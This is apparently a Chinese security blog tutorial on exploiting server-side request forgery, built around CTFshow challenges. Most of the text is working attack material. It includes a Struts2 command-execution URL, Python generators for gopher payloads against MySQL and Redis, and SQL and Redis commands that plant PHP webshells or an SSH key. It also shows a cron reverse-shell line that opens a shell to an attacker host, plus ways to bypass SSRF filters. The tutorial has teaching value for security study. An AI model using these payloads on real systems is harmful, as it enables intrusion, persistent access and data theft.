SSRF服务端请求伪造:漏洞利用深入浅出"

admin 2026-10-22 07:58:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image对内部主机和端口发送请求包进行攻击

get 方法可以攻击 web,比如 struts2 命令执行、Thinkphp、Jboss 等

针对内网 192.168.1.139 这台服务器进行攻击,执行命令 whoami:

http://localhost/ssrf.php?url=<u>http://192.168.1.139</u>:8081/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

post 方法我们可以用 gopher 协议去发送请求数据包

http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword

0x06 MySQL 未授权攻击

文件读取

MySQL 数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程

登录时需要用服务器发来的 scramble 加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client 给 server 发的认证包就是相对固定的了。这样就无需交互,可以通过 gopher 协议来发送

正常的 MySQL 认证:

  • • Client ----连接请求----> Server
  • • Client <---scramble(挑战数)--- Server   (seq=0)
  • • Client ----加密后的密码----> Server   (seq=1)

关键:密码为空时,加密后的密文也是空的! 所以客户端发的认证包是固定可预测的

环境模拟:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$data = curl_exec($ch);
curl_close($ch);
header('Content-Type: text/plain; charset=utf-8');
echo $data;
?>

本地搭建的数据库的设立了一个名为 ssrf 的用户,且赋予其权限,允许空密码登录:

CREATE USER 'ssrf'@'localhost';
GRANT ALL ON *.* TO 'ssrf'@'localhost';

创建测试数据:

CREATE DATABASE IF NOT EXISTS test;
USE test;
CREATE TABLE IF NOT EXISTS flag (id INT, content VARCHAR(255));
INSERT INTO flag VALUES (1, 'FLAG{test_flag_here}');

payload 生成脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
_\"\"\"_
_用法: python exploit.py -u 用户名 -d information_schema -p \"\" -P \"sql语句\" -v -c_
_\"\"\"_

import struct
import hashlib
import argparse
from urllib.parse import quote

def sha1(data):
    return hashlib.sha1(data).digest()

def xor_string(s1, s2):
    result = bytearray()
    for i in range(min(len(s1), len(s2))):
        result.append(s1[i] ^ s2[i])
    return bytes(result)

def mysql_native_password(password, scramble):
    if not password:
        return b\"\"
    stage1 = sha1(password.encode())
    stage2 = sha1(stage1)
    stage3 = sha1(scramble + stage2)
    return xor_string(stage1, stage3)

def add_mysql_header(body, seq):
    length = len(body)
    return struct.pack(\"<I\", length)[:3] + struct.pack(\"B\", seq) + body

def generate_payload(host, port, username, password, database, sql):
    scramble = b\"\\x00\" * 20
    raw = bytearray()

    # 认证包
    auth = bytearray()
    client_flag = 0x0AA285
    auth += struct.pack(\"<I\", client_flag & 0xFFFFFFFF)
    auth += struct.pack(\"<I\", 16777215)
    auth += struct.pack(\"B\", 0xFF)
    auth += b\"\\x00\" * 23
    auth += username.encode() + b\"\\x00\"
    resp = mysql_native_password(password, scramble)
    auth += struct.pack(\"B\", len(resp))
    if resp:
        auth += resp
    auth += b\"mysql_native_password\\x00\"
    raw += add_mysql_header(bytes(auth), seq=1)

    # USE database
    if database:
        q = b\"\\x03\" + f\"USE {database}\".encode()
        raw += add_mysql_header(q, seq=0)

    # SQL 查询
    q = b\"\\x03\" + sql.encode()
    raw += add_mysql_header(q, seq=0)

    # COM_QUIT
    raw += add_mysql_header(b\"\\x01\", seq=0)

    gopher_url = f\"gopher://{host}:{port}/_{quote(raw)}\"
    return gopher_url, raw

def main():
    parser = argparse.ArgumentParser(description=\"Gopher MySQL Attack\")
    parser.add_argument(\"-u\", \"--user\", required=True, help=\"MySQL用户\")
    parser.add_argument(\"-d\", \"--database\", default=\"\", help=\"数据库名\")
    parser.add_argument(\"-p\", \"--password\", default=\"\", help=\"密码\")
    parser.add_argument(\"-P\", \"--sql\", required=True, help=\"SQL语句\")
    parser.add_argument(\"-H\", \"--host\", default=\"127.0.0.1\", help=\"MySQL地址\")
    parser.add_argument(\"--port\", type=int, default=3306, help=\"MySQL端口\")
    parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"显示详细信息\")
    parser.add_argument(\"-c\", \"--curl\", action=\"store_true\",
                        help=\"输出二次编码的 SSRF 链接(放 ?url= 用)\")

    args = parser.parse_args()

    gopher_url, raw = generate_payload(
        args.host, args.port, args.user, args.password,
        args.database, args.sql
    )

    if args.verbose:
        print(f\"\
[*] Gopher URL:\")
        print(gopher_url)
        print(f\"\
[*] Payload hex ({len(raw)} bytes):\")
        for i in range(0, len(raw), 32):
            chunk = raw[i:i+32]
            hx = \" \".join(f\"{b:02x}\" for b in chunk)
            asc = \"\".join(chr(b) if 32 <= b < 127 else \".\" for b in chunk)
            print(f\"    {hx:<48s}  {asc}\")
    else:
        print(gopher_url)

    if args.curl:
        double = quote(gopher_url, safe=\"\")
        print(f\"\
[*] SSRF 链接 (?url= 二次编码):\")
        print(double)

if __name__ == \"__main__\":
    main()

在 BP 中发包需要使用二次编码的 payload:

接下来就是常规的 sql 查询了:

python exploit.py -u ssrf -d ssrf_demo -p \"\" -P \"select * from flag\" -c

未授权写 shell

满足条件:

  • • 数据库账户拥有 FILE 权限;
  • • MySQL 对目标目录具有写权限;
  • • 知道 Web 根目录位置;
  • • 目标环境配置存在缺陷;

那么攻击者可能尝试将内容写入服务器文件系统

SELECT 1,\"<?php @assert($_POST['t']);?>\",3,4 INTO OUTFILE '/var/www/html/shell.php';

需要关注的点就是:outfile 后面不能接 0x 开头或者 char 转换以后的路径,只能是单引号路径。这个问题在 php 注入中更加麻烦,因为会自动将单引号转义成’,那么基本就无了,但是 load_file:

SELECT LOAD_FILE('/etc/passwd')

后面的路径可以是单引号、0x、char 转换的字符,但是路径中的斜杠是/而不是\

漏洞原理

MySQL 客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;当无需密码认证时直接发送 TCP/IP 数据包即可。所以在非交互模式下登录并操作 MySQL 只能在无需密码认证,未授权情况下进行

进行 mysql 查询的时候有数据包交互,我们要做的就是伪造这种数据包交互,进行 curl,当然,这种我们伪造的数据包是利用 gopher 协议进行发送的

例题演示

CTFSHOW web359

抓包发现 POST 参数 returl,尝试传递 url

题目提示打无密码 mysql,利用自动化工具 Gopherus 生成 payload,用户为 root,sql 语句为 select '<?php eval($_GET[c]);?>' into outfile '/var/www/html/c.php';

将生成的 payload 再次编码,放进 bp 发包

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2547%2545%2554%255b%2563%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

webshell 就写进了 /c.php,访问进行 rce 即可

0x07 Redis 未授权攻击

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized\_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器

漏洞的产生条件有以下两点:

  • • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
  • • 没有设置密码认证(默认为空),可以免密码远程登录 redis 服务

在 SSRF 漏洞中,如果通过端口扫描等方法发现目标主机上开放 6379 端口,则目标主机上很有可能存在 Redis 服务。此时,如果目标主机上的 Redis 由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用 Gopher 协议远程操纵目标主机上的 Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等…..

思路都就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或/var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了

RESP 协议

Redis 未授权访问

监听网络流量,将捕获发往 Redis 的 TCP 数据包保存到 redis.pcap

sudo tcpdump -i lo -nn -s 0 port 6379 -w /tmp/redis.pcap

另开一个命令行窗口连接 Redis

redis-cli

拿到本地用 wireshark 分析下数据包,追踪下 TCP 流:

Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信

RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式

RESP 实际上是一个支持以下数据类型的序列化协议:

  • • 简单字符串
  • • 错误
  • • 整数
  • • 批量字符串
  • • 数组

RESP 在 Redis 中用作请求 - 响应协议的方式如下:

    1. 客户端将命令作为 Bulk Strings 的 RESP 数组发送到 Redis 服务器
    1. 服务器根据命令实现回复一种 RESP 类型

在 RESP 中,某些数据的类型取决于第一个字节:

  • • 对于客户端请求 Simple Strings,回复的第一个字节是 +
  • • 对于客户端请求 error,回复的第一个字节是 -
  • • 对于客户端请求 Integer,回复的第一个字节是 :
  • • 对于客户端请求 Bulk Strings,回复的第一个字节是 $
  • • 对于客户端请求 array,回复的第一个字节是 *

此外,RESP 能够使用稍后指定的 Bulk Strings 或 Array 的特殊变体来表示 Null 值。

在 RESP 中,协议的不同部分始终以 \"\\r\ \"(CRLF) 结束

Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:

  • • $字节数:一个 $ 后跟组成字符串的字节数,由 CRLF 终止。
  • • 字符串数据
  • • CRLF

字符串 G3ng4r 的编码如下:$6\\r\ G3ng4r\\r\,如下图格式

RESP Arrays 使用以下格式发送:

  • • *元素数:* 字符作为第一个字节,后跟数组中的元素数,后跟 CRLF
  • • 数组中的每个元素都附加 RESP 类型

现在通过下图理解数据包:

  • • 每一个 *number 代表每一行命令,number 代表每行命令中数组中的元素个数:图中的 *3,代表 config get dbfilename 这行命令的 3 个元素
  • • $number 代表每个元素的长度:$6,代表 config 长度

Redis 认证访问

在 redis-cli 中修改 redis 密码后再次进入 redis

CONFIG SET requirepass 123456

可以看到我们进行 PING 命令时提示 NOAUTH Authentication required,需要进行密码认证

AUTH 123456

此后每次请求命令执行之前都使用下面格式进行验证:

*2
$4
AUTH
$6
123456

官方文档中提到:客户端可以通过一个写操作发送多个命令,而不需要在发出下一个命令之前读取上一个命令的服务器应答

因此,在具有认证(弱口令)的情况下,我们依然可以进行与未授权相同的攻击方式,只需要在攻击脚本中加上验证数据即可

攻击方式

写进定时任务

flushallset 1 '\
\
*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\
\
'config set dir /var/spool/cron/config set dbfilename rootsave

我们来一条条解释 redis 命令

  • • flushall:删除 Redis 中所有数据,避免原有内容干扰后续写入
  • • set 1 '\ \ */1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\ \ ':设置键名为 1,键值为反弹 shell,其中 */1 * * * * 是 Cron(Linux 计划任务)的时间表达式,表示每分钟执行一次
  • • config set dir /var/spool/cron/config:修改 Redis 持久化文件的保存目录,/var/spool/cron/是 Linux 计划任务相关目录,目的是让 Redis 把持久化文件写到系统敏感目
  • • config set dbfilename root:修改 Redis 持久化文件名
  • • save:保存设置

绝对路径写 Webshell

于实战而言利用价值不大,开 Redis 的内网服务器一般不会开 Web 服务,但却是 CTF 中常见的考点

flushallset 1 '<?php **eval**($_POST[\"cmd\"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave

webshell 被写进 /shell.php

gopher 协议生成脚本:

import urllib.parse

protocol = \"gopher://\"
ip = \"192.168.0.141\"
port = \"6379\"
shell = \"\
\
<?php eval($_POST[\\\"cmd\\\"]);?>\
\
\"
filename = \"shell.php\"
path = \"/var/www/\"
passwd = \"\"

cmd = [
    \"flushall\",
    \"set 1 {}\".format(shell.replace(\" \", \"${IFS}\")),
    \"config set dir {}\".format(path),
    \"config set dbfilename {}\".format(filename),
    \"save\"
]

if passwd:
    cmd.insert(0, \"AUTH {}\".format(passwd))

payload = protocol + ip + \":\" + port + \"/_\"

def redis_format(arr):
    CRLF = \"\\r\
\"
    redis_arr = arr.split(\" \")
    cmd = \"\"
    cmd += \"*\" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + \"$\" + str(len(x.replace(\"${IFS}\", \" \"))) + CRLF + x.replace(\"${IFS}\", \" \")
    cmd += CRLF
    return cmd

if __name__ == \"__main__\":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    payload = urllib.parse.quote(payload)
    with open('Result.txt', 'w') as f:
        f.write(payload)
    with open(\"Result.txt\", \"r\") as f:
        for line in f.readlines():
            print(line.strip())

写入 ssh 公钥

使用 ssh-keygen -t rsa 生成公钥和私钥。RSA 加密算法就是公钥加密,私钥解密;所以我们要把公钥给服务器,然后用自己私钥登录

注意如果 redis 那台服务器没有目录的话一定要想办法生成好,不然会报路径错误

Redis 命令写入公钥

flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave

gopher 协议生成脚本

import urllib.parse

protocol = \"gopher://\"
ip = \"192.168.0.141\"
port = \"6379\"
ssh_pub = (
    \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQ\"
    \"ABAAABAQC8YIKqm8JZRdoi2FCY97+fNp+lT\"
    \"CEwoPPoBGOKLLWYeeKsm3gRNy7kmHx1IHhsm\"
    \"yIknEcbQCciBx41Ln+1SIbEqYVFksHNxk8xG\"
    \"iaxjsUOYATqQ1Lkq/ZMxKAzpq08uGp17URbJmv3JtuKEkHPdEHDqvBQJLUVJCCvAm86Yer8y663BFxRv5AXwSkCYquL\"
    \"P7XvG6yyYATdoRPJCdqjTtsGIlpJOH4gMfEhZOxKsLzwZJIWYose2BEA1REM7Nfxx2Oqva/hSErf5RqXgXXSWC3/jBlz\"
    \"P2xof1a4CDRL9LoKLLTwUFQKWSMfnjMKYH3+uZIg4MyUAdWWwubEhpS6lpJd wzf@wzf-virtual-machine\"
)
filename = \"authorized_keys\"
path = \"/root/.ssh/\"
passwd = \"\"

cmd = [
    \"flushall\",
    \"set 1 {}\".format(ssh_pub.replace(\" \", \"${IFS}\")),
    \"config set dir {}\".format(path),
    \"config set dbfilename {}\".format(filename),
    \"save\",
]

if passwd:
    cmd.insert(0, \"AUTH {}\".format(passwd))

payload = protocol + ip + \":\" + port + \"/_\"

def redis_format(arr):
    CRLF = \"\\r\
\"
    redis_arr = arr.split(\" \")
    cmd = \"\"
    cmd += \"*\" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + \"$\" + str(len(x.replace(\"${IFS}\", \" \"))) + CRLF + x.replace(\"${IFS}\", \" \")
    cmd += CRLF
    return cmd

if __name__ == \"__main__\":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    payload = urllib.parse.quote(payload)
    with open(\"Result.txt\", \"w\") as f:
        f.write(payload)
    with open(\"Result.txt\", \"r\") as f:
        for line in f.readlines():
            print(line.strip())

例题演示

CTFSHOW web360\\ \\题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

dict 协议探测 6379 端口回显了报错信息,说明其上开启了 redis 服务,探测 info 路由发现确实如此

手写 redis 命令,注意 Redis 写入的是原始二进制字节,为了保护 payload 中特殊字符字符的完整需要进行 16 进制编码

url=dict://127.0.0.1:6379/flushall

url=dict://127.0.0.1:6379/set shell \"\\x3c\\x3f\\x70\\x68\\x70\\x20\\x65\\x76\\x61\\x6c\\x28\\x24\\x5f\\x50\\x4f\\x53\\x54\\x5b\\x27\\x63\\x6d\\x64\\x27\\x5d\\x29\\x3f\\x3e\"

url=dict://127.0.0.1:6379/config set dir /var/www/html

url=dict://127.0.0.1:6379/config set dbfilename shell.php

url=dict://127.0.0.1:6379/save

访问我们写入的后门 getshell

以上主要是为了演示 redis 命令执行,事实上可以直接通过 Gopherus 生成 gopher 协议的 payload 完成写入 webshell 操作:

0x08 绕过手法

URL 解析特性绕过

URL 的完整格式:

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

在 URL 中:

  • • @ 符号用于分隔认证信息和主机地址,因此 ctf 会被识别成认证信息,127.0.0.1 作为请求主机地址;
  • • ? 表示查询字符串开始,后面的内容作为参数处理,而参数是可有可无的
  • • # 表示片段标识符
url=http://[email protected]/flag.php?any
url=http://[email protected]/flag.php#any

等价于 http://127.0.0.1/flag.php

进制绕过

以 192.168.0.1 为例:

  • • 十六进制:C0A80001
  • • 十进制:3232235521
  • • 二进制:11000000101010000000000000000001

对于 127.0.0.1:

http://127.0.0.1/
http://2130706433/
http://0x7F000001/
http://0x7F.0.0.1/
http://017700000001/
http://0x7F.0.0.1/

IP 地址特殊写法绕过

127.1 是 127.0.0.1 最经典的省略写法。系统会自动将其补全为 127.0.0.1

http://127.1/

0 是 0.0.0.0 的极简省略写法。在某些系统、命令行工具或网络库中,单个 0 可以被识别并指向本机。

http://0/

整个 127.0.0.0/8 网段都是环回地址。根据 RFC 标准,从 127.0.0.1 到 127.255.255.254 的任何一个地址都会回环到本机

http://127.127.127.127

域名解析绕过

网上申请一个域名,假设为 hack .attack.com,将其添加一条 A 记录使其解析到 127.0.0.1,此后如果有人 ping http://hack.attack.com,就会 ping 127.0.0.1,那么同理,如果这样构造 payload,就可以实现访问本地

http://hack.attack.com

重定向绕过&短网址绕过

在公网服务器网站下面创建一个 location.php,当服务器访问到这里时,就会被重定向到本机 80 端口下的 flag.php

<?php
header(\"Location:http://127.0.0.1/flag.php\");
?>

如果 192.168.0.1.xip.io 都被过滤了,但是重定向没有被控制;可以去 TINYURL 生成一个短 URL

访问短 URL 的流程就是

https://tinyurl.com/4czmrv9d->302 跳转-> 成功访问 192.168.0.1,这样就成功绕过了检查

协议绕过

如果是 php,可以试试 php 所有的伪协议以及冷门的非 HTTP 协议

php://系列
zip://
bzip2://
zlib://系列
data://
phar://
file://
dict://
sftp://
ftp://
tftp://
ldap://
gopher://

特殊用法绕过

http://[::]:80/
http://0000::1:80/
http://0/
192。168。0。1

泛域名解析绕过

xip.io 是一个提供通配符 DNS 解析的魔法域名。你可以无需配置,将自定义的任何域名解析到指定的 IP 地址。假设你的 IP 地址是 10.0.0.1,你只需使用 前缀域名+IP地址+xip.io 即可完成相应自定义域名解析

10.0.0.1.xip.io         # 解析到 10.0.0.1
www.10.0.0.2.xip.io     # www 子域解析到 10.0.0.2
mysite.10.0.0.3.xip.io  # mysite 子域解析到 10.0.0.3
foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4

xip.io可以指向任意域名,如127.0.0.1.xip.io,可解析为127.0.0.1

Enclosed alphanumerics字符集绕过

能在这个网站看到这个字符合集,挑选合适的字符就行,适用于域名而不适用于直接IP访问

https://ⓦⓦⓦ.ⓔⓣⓔsⓣⓔ.ⓒⓄⓜ/
是完全等同于https://www.eteste.com/

```

DNS 重绑定绕过

推荐文章:https://www.anquanke.com/post/id/262430#h3-50

    1. 判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
    1. 若在,退出报错
    1. 若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块

所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换

效果类比:你访问 wwfcww.xyz 这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的 IP 是 127.0.0.1

这个操作,就叫做 DNS重绑定

参考:

https://www.cnblogs.com/miruier/p/13907150.html

https://blog.csdn.net/qq\_61778128/article/details/127505896

https://www.freebuf.com/articles/web/303275.html

https://www.anquanke.com/post/id/262430#h3-3

https://blog.csdn.net/crisprx/article/details/104251284

https://blog.csdn.net/2301\_80027701/article/details/153080961

欢迎师傅们加入Zer0day交流群友好交流


    SSRF服务端请求伪造:漏洞利用深入浅出" 网络安全文章

    SSRF服务端请求伪造:漏洞利用深入浅出"

    本文深入解析SSRF服务端请求伪造漏洞的原理、利用方式与防护要点。详细介绍了file_get_contents、fsockopen、curl_exec、SoapClient等易产生漏洞的PHP函数,以及file、ftp、dict、gopher等协议的利用方法,重点剖析了gopher协议作为万能协议的攻击价值。文章通过实际代码演示了漏洞利用过程,提供了从端口扫描到内网攻击的完整技术路径,对WEB安全防护具有重要参考价值。
    AI赋能&&edusrc挖掘案例分享2" 网络安全文章

    AI赋能&&edusrc挖掘案例分享2"

    本文分享作者在EDUSRC漏洞挖掘中利用AI辅助渗透测试的实战案例,通过对比普通提示词与集成Skill的提示词效果,发现后者能更有效识别FCKEditor编辑器nday漏洞、Redis密码及AI密钥等敏感信息泄露。案例展示了AI在登录框场景下的自动化测试潜力,同时强调该方法仅为特定场景优化且需持续迭代Skill库。文末推广了作者的安全知识库与培训服务。
    信息安全漏洞预警(2026年6月8日-2026年6月12日)" 网络安全文章

    信息安全漏洞预警(2026年6月8日-2026年6月12日)"

    该文档为松杨网络安全资料库发布的2026年6月8日至12日信息安全漏洞预警报告,重点披露了NC系统upload接口存在的高危任意文件上传漏洞(CVE-2026-XXXX),攻击者可通过filename和billitem参数控制服务器。报告包含漏洞影响版本(NC65)、修复方案(安装特定补丁并重启服务)及官方公告链接,建议用户及时采取安全措施。
    黑客滥用AWSCloudTrail和Google云日志来规避检测并窃取日志" 网络安全文章

    黑客滥用AWSCloudTrail和Google云日志来规避检测并窃取日志"

    安全研究人员发现攻击者正滥用AWSCloudTrail和GoogleCloudLogging服务来规避检测并窃取日志。攻击手法主要分为防御规避和持续可视化两类,前者通过停止日志、删除存储桶、加密密钥交换或日志中毒等方式破坏日志完整性,后者通过重定向日志到攻击者控制的存储实现实时间谍访问。为减少暴露风险,建议严格限制API权限、启用日志文件完整性验证并利用云服务商提供的不可变日志功能。
    评论:0   参与:  0